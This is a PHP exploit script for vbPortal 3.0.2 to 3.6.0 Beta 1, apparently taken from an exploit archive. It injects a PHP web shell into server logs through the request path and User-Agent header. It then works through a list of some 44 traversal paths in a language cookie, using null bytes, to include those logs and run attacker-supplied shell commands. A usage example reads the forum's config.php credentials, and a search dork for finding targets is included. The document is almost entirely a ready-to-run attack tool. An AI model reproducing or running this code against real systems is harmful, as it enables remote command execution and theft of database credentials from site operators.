vbPortal302.txt

`vbPortal 3.0.2 <= 3.6.0 Beta 1 Command Execution  
  
===========================================================  
#!/usr/bin/php -q -d short_open_tag=on  
<?  
echo "vbPortal 3.0.2 <= 3.6.0 Beta 1 Remote Command Excution \r\n";  
echo "Thank you Minus-Power \r\n";  
echo "Thank you rgod for your clear samples \r\n";  
echo "site: http://www.rootshell.net \r\n\r\n";  
echo "-> this works with magic_quotes_gpc=Off\r\n";  
echo "dork: Portal By vbPortal Version 3.5.0 <= 3.6.0 Beta 1 \r\n";  
  
if ($argc<4) {  
echo "Usage: php ".$argv[0]." host path cmd OPTIONS\r\n";  
echo "host: target server (ip/hostname)\r\n";  
echo "path: path to VbPortal\r\n";  
echo "cmd: a shell command\r\n";  
echo "cookie: Cookie name\r\n";  
echo "Options:\r\n";  
echo " -p[port]: specify a port other than 80\r\n";  
echo " -P[ip:port]: specify a proxy\r\n";  
echo "Examples:\r\n";  
echo "php ".$argv[0]." localhost /vbportal/ vbblang cat /forums/includes/config.php\n";  
echo "php ".$argv[0]." www.site.com /vbportal/ ls -la \r\n";  
echo "php ".$argv[0]." localhost /vbportal/ vbblang ls -la -p81\r\n";  
echo "php ".$argv[0]." localhost / vbblang ls -la -P1.1.1.1:80\r\n";  
die;  
}  
  
error_reporting(0);  
ini_set("max_execution_time",0);  
ini_set("default_socket_timeout",5);  
  
function quick_dump($string)  
{  
$result='';$exa='';$cont=0;  
for ($i=0; $i<=strlen($string)-1; $i++)  
{  
if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))  
{$result.=" .";}  
else  
{$result.=" ".$string[$i];}  
if (strlen(dechex(ord($string[$i])))==2)  
{$exa.=" ".dechex(ord($string[$i]));}  
else  
{$exa.=" 0".dechex(ord($string[$i]));}  
$cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}  
}  
return $exa."\r\n".$result;  
}  
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';  
function sendpacketii($packet)  
{  
global $proxy, $host, $port, $html, $proxy_regex;  
if ($proxy=='') {  
$ock=fsockopen(gethostbyname($host),$port);  
if (!$ock) {  
echo 'No response from '.$host.':'.$port; die;  
}  
}  
else {  
$c = preg_match($proxy_regex,$proxy);  
if (!$c) {  
echo 'Not a valid proxy...';die;  
}  
$parts=explode(':',$proxy);  
echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";  
$ock=fsockopen($parts[0],$parts[1]);  
if (!$ock) {  
echo 'No response from proxy...';die;  
}  
}  
fputs($ock,$packet);  
if ($proxy=='') {  
$html='';  
while (!feof($ock)) {  
$html.=fgets($ock);  
}  
}  
else {  
$html='';  
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {  
$html.=fread($ock,1);  
}  
}  
fclose($ock);  
#debug  
#echo "\r\n".$html;  
}  
  
$host=$argv[1];  
$path=$argv[2];  
$cmd="";  
$port=80;  
$proxy="";  
  
for ($i=3; $i<=$argc-1; $i++){  
$temp=$argv[$i][0].$argv[$i][1];  
if (($temp<>"-p") and ($temp<>"-P"))  
{$cmd.=" ".$argv[$i];}  
if ($temp=="-p")  
{  
$port=str_replace("-p","",$argv[$i]);  
}  
if ($temp=="-P")  
{  
$proxy=str_replace("-P","",$argv[$i]);  
}  
}  
$cmd=urlencode($cmd);  
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}  
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}  
  
echo "[1] Injecting some code in log files...\r\n";  
$CODE ='suntzu<?php passthru($_GET[cmd]);die;?>suntzu';  
$packet.="GET ".$path.$CODE." HTTP/1.1\r\n";  
$packet.="User-Agent: ".$CODE."\r\n";  
$packet.="Host: ".$host."\r\n";  
$packet.="Connection: close\r\n\r\n";  
#debug  
#echo quick_dump($packet);  
sendpacketii($packet);  
  
# fill with possible locations  
  
  
  
$paths= array (  
"../../../../../../../../../../usr/local/apache/logs/error_log",  
"../../../../../../../../../../etc/httpd/logs/error_log",  
"../../../../../../../../../../var/log/httpd/access_log",  
"../../../../../../../../../../var/log/httpd/error_log",  
"../apache/logs/error.log",  
"../apache/logs/access.log",  
"../../apache/logs/error.log",  
"../../apache/logs/access.log",  
"../../../apache/logs/error.log",  
"../../../apache/logs/access.log",  
"../../../../apache/logs/error.log",  
"../../../../apache/logs/access.log",  
"../../../../../apache/logs/error.log",  
"../../../../../apache/logs/access.log",  
"../logs/error.log",  
"../logs/access.log",  
"../../logs/error.log",  
"../../logs/access.log",  
"../../../logs/error.log",  
"../../../logs/access.log",  
"../../../../logs/error.log",  
"../../../../logs/access.log",  
"../../../../../logs/error.log",  
"../../../../../logs/access.log",  
"../../../../../logs/access_log",  
"../../../../../../../../../../etc/httpd/logs/acces_log",  
"../../../../../../../../../../etc/httpd/logs/acces.log",  
"../../../../../../../../../../etc/httpd/logs/error_log",  
"../../../../../../../../../../etc/httpd/logs/error.log",  
"../../../../../../../../../../var/www/logs/access_log",  
"../../../../../../../../../../var/www/logs/access.log",  
"../../../../../../../../../../usr/local/apache/logs/access_log",  
"../../../../../../../../../../usr/local/apache/logs/access.log",  
"../../../../../../../../../../var/log/apache/access_log",  
"../../../../../../../../../../var/log/apache/access.log",  
"../../../../../../../../../../var/log/access_log",  
"../../../../../../../../../../var/www/logs/error_log",  
"../../../../../../../../../../var/www/logs/error.log",  
"../../../../../../../../../../usr/local/apache/logs/error_log",  
"../../../../../../../../../../usr/local/apache/logs/error.log",  
"../../../../../../../../../../var/log/apache/error_log",  
"../../../../../../../../../../var/log/apache/error.log",  
"../../../../../../../../../../var/log/access_log",  
"../../../../../../../../../../var/log/error_log"  
  
  
);  
for ($i=0; $i<=count($paths)-1; $i++)  
{  
$a=$i+2;  
echo "[".$a."] trying with ".$paths[$i]."%00 ...\r\n";  
$packet ="GET ".$p."index.php?cmd=".$cmd." HTTP/1.0\r\n";  
$packet.="Host: ".$host."\r\n";  
$packet.="Cookie: bbvbplang=".$paths[$i]."%00;\r\n";  
$packet.="Connection: Close\r\n\r\n";  
//echo quick_dump($packet);  
sendpacketii($packet);  
if (strstr($html,"suntzu"))  
{  
echo "Exploit succeeded...\r\n";  
$temp=explode("suntzu",$html);  
die($temp[1]);  
}  
}  
//if you are here...  
echo "Exploit failed...";  
?>  
===========================================================  
  
  
  
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`